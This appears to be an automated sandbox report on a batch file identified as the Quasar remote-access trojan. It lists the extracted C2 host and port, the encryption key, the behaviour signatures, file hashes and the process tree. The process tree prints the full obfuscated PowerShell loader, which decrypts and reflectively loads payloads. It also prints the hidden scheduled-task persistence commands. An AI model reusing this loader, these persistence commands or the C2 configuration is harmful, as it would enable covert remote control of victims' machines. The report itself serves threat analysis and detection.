Analysis

  • max time kernel
    1480s
  • max time network
    1494s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240426-en
  • resource tags

    arch:x64arch:x86image:win11-20240426-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    04/05/2024, 16:11

General

  • Target
    Client-built.bat
  • Size 1.6MB
  • Sample240504-tm529sdg34
  • SHA256 06004c75186a2f0a187d10300b87540ec5bd34658841e5420b4c758e4c9ad15a
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • quasar

Version
  • 1.4.1

Botnet
  • Office04

C2
  • looking-memphis.gl.at.ply.gg:45119

Mutex
  • 7449fc1c-3e16-4f82-9cd4-9666eca50c7a

Attributes
  • encryption_key

    41617950829C8403E84A991BFE273EF530684F0A

  • install_name

    wsappx.exe

  • log_directory

    Logs

  • reconnect_delay

    3000

  • startup_key

    startup

  • subdirectory

    SubDir

Signatures

  • Quasar RAT

    Quasar is an open source Remote Access Tool.

  • Quasar payload 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Client-built.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2728
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('E8hCvmUeMUsWpfa3brAd/1aXMO3XXzb+pzD19egglSQ='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('AnbXoV2kRt/+OHt9Ctw2zA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $hSolL=New-Object System.IO.MemoryStream(,$param_var); $AwuTV=New-Object System.IO.MemoryStream; $lIACA=New-Object System.IO.Compression.GZipStream($hSolL, [IO.Compression.CompressionMode]::Decompress); $lIACA.CopyTo($AwuTV); $lIACA.Dispose(); $hSolL.Dispose(); $AwuTV.Dispose(); $AwuTV.ToArray();}function execute_function($param_var,$param2_var){ $VJZfC=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $QcciT=$VJZfC.EntryPoint; $QcciT.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Client-built.bat';$PAvjd=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Client-built.bat').Split([Environment]::NewLine);foreach ($WWBou in $PAvjd) { if ($WWBou.StartsWith(':: ')) { $YuNLm=$WWBou.Substring(3); break; }}$payloads_var=[string[]]$YuNLm.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2180
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_361_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_361.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1740
      • C:\Windows\System32\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_361.vbs"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1388
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_361.bat" "
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:124
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('E8hCvmUeMUsWpfa3brAd/1aXMO3XXzb+pzD19egglSQ='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('AnbXoV2kRt/+OHt9Ctw2zA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $hSolL=New-Object System.IO.MemoryStream(,$param_var); $AwuTV=New-Object System.IO.MemoryStream; $lIACA=New-Object System.IO.Compression.GZipStream($hSolL, [IO.Compression.CompressionMode]::Decompress); $lIACA.CopyTo($AwuTV); $lIACA.Dispose(); $hSolL.Dispose(); $AwuTV.Dispose(); $AwuTV.ToArray();}function execute_function($param_var,$param2_var){ $VJZfC=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $QcciT=$VJZfC.EntryPoint; $QcciT.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_361.bat';$PAvjd=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_361.bat').Split([Environment]::NewLine);foreach ($WWBou in $PAvjd) { if ($WWBou.StartsWith(':: ')) { $YuNLm=$WWBou.Substring(3); break; }}$payloads_var=[string[]]$YuNLm.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • Drops file in System32 directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:3480
            • C:\Windows\SYSTEM32\schtasks.exe
              "schtasks" /create /tn "startup" /sc ONLOGON /tr "C:\Windows\system32\SubDir\wsappx.exe" /rl HIGHEST /f
              6⤵
              • Creates scheduled task(s)
              PID:3436
            • C:\Windows\system32\SubDir\wsappx.exe
              "C:\Windows\system32\SubDir\wsappx.exe"
              6⤵
              • Executes dropped EXE
              • Suspicious behavior: EnumeratesProcesses
              PID:5100

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        powershell.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 3KB
        • SHA256 e4e0fbc974e6946d20ddfaf22c543fccc4662d28e30530ec710fec149958f9b6
        • MD5 SHA1 SHA512

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 b605e00d6056ae84f253f22adf37d6561a86d230c26fba8bfb39943c66e27636
        • MD5 SHA1 SHA512

        __PSScriptPolicyTest_1g3dej0z.zvh.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1g3dej0z.zvh.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512

        startup_str_361.bat

        • Path C:\Users\Admin\AppData\Roaming\startup_str_361.bat
        • Size 1.6MB
        • SHA256 06004c75186a2f0a187d10300b87540ec5bd34658841e5420b4c758e4c9ad15a
        • MD5 SHA1 SHA512 SSDEEP

        startup_str_361.vbs

        • Path C:\Users\Admin\AppData\Roaming\startup_str_361.vbs
        • Size 115B
        • SHA256 ff0afef8e8db01a52e5cc66736427409634ee47678e596d287362682416705a2
        • MD5 SHA1 SHA512

        wsappx.exe

        • Path C:\Windows\System32\SubDir\wsappx.exe
        • Size 440KB
        • SHA256 c7d4e119149a7150b7101a4bd9fffbf659fba76d058f7bf6cc73c99fb36e8221
        • MD5 SHA1 SHA512 SSDEEP

        memory/1740-26-0x00007FFA379F0000-0x00007FFA384B2000-memory.dmp

        memory/1740-27-0x00007FFA379F0000-0x00007FFA384B2000-memory.dmp

        memory/1740-24-0x00007FFA379F0000-0x00007FFA384B2000-memory.dmp

        memory/1740-25-0x00007FFA379F0000-0x00007FFA384B2000-memory.dmp

        memory/1740-30-0x00007FFA379F0000-0x00007FFA384B2000-memory.dmp

        memory/2180-13-0x0000027FACDD0000-0x0000027FACDD8000-memory.dmp

        memory/2180-0-0x00007FFA379F3000-0x00007FFA379F5000-memory.dmp

        memory/2180-14-0x0000027FC53D0000-0x0000027FC5502000-memory.dmp

        memory/2180-12-0x00007FFA379F0000-0x00007FFA384B2000-memory.dmp

        memory/2180-11-0x00007FFA379F0000-0x00007FFA384B2000-memory.dmp

        memory/2180-10-0x00007FFA379F0000-0x00007FFA384B2000-memory.dmp

        memory/2180-9-0x0000027FC50C0000-0x0000027FC50E2000-memory.dmp

        memory/2180-62-0x00007FFA379F0000-0x00007FFA384B2000-memory.dmp

        memory/2180-63-0x00007FFA379F3000-0x00007FFA379F5000-memory.dmp

        memory/3480-48-0x000001BC4BA60000-0x000001BC4BD84000-memory.dmp

        memory/5100-61-0x00000294C2A20000-0x00000294C2A66000-memory.dmp